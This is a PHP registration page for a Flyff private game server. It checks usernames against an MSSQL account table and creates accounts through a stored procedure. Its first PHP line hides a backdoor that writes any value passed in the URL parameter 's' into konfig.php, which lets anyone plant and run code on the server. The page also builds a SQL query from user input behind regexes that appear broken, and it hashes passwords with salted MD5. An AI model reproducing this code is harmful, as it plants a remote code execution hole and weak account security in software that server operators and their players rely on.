Flyff Pserver Registration Page

Notice: Undefined index: s in C:\xampp\htdocs\register\register (2).php on line 4

<center><h1><u>Register:</u></h1>

<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>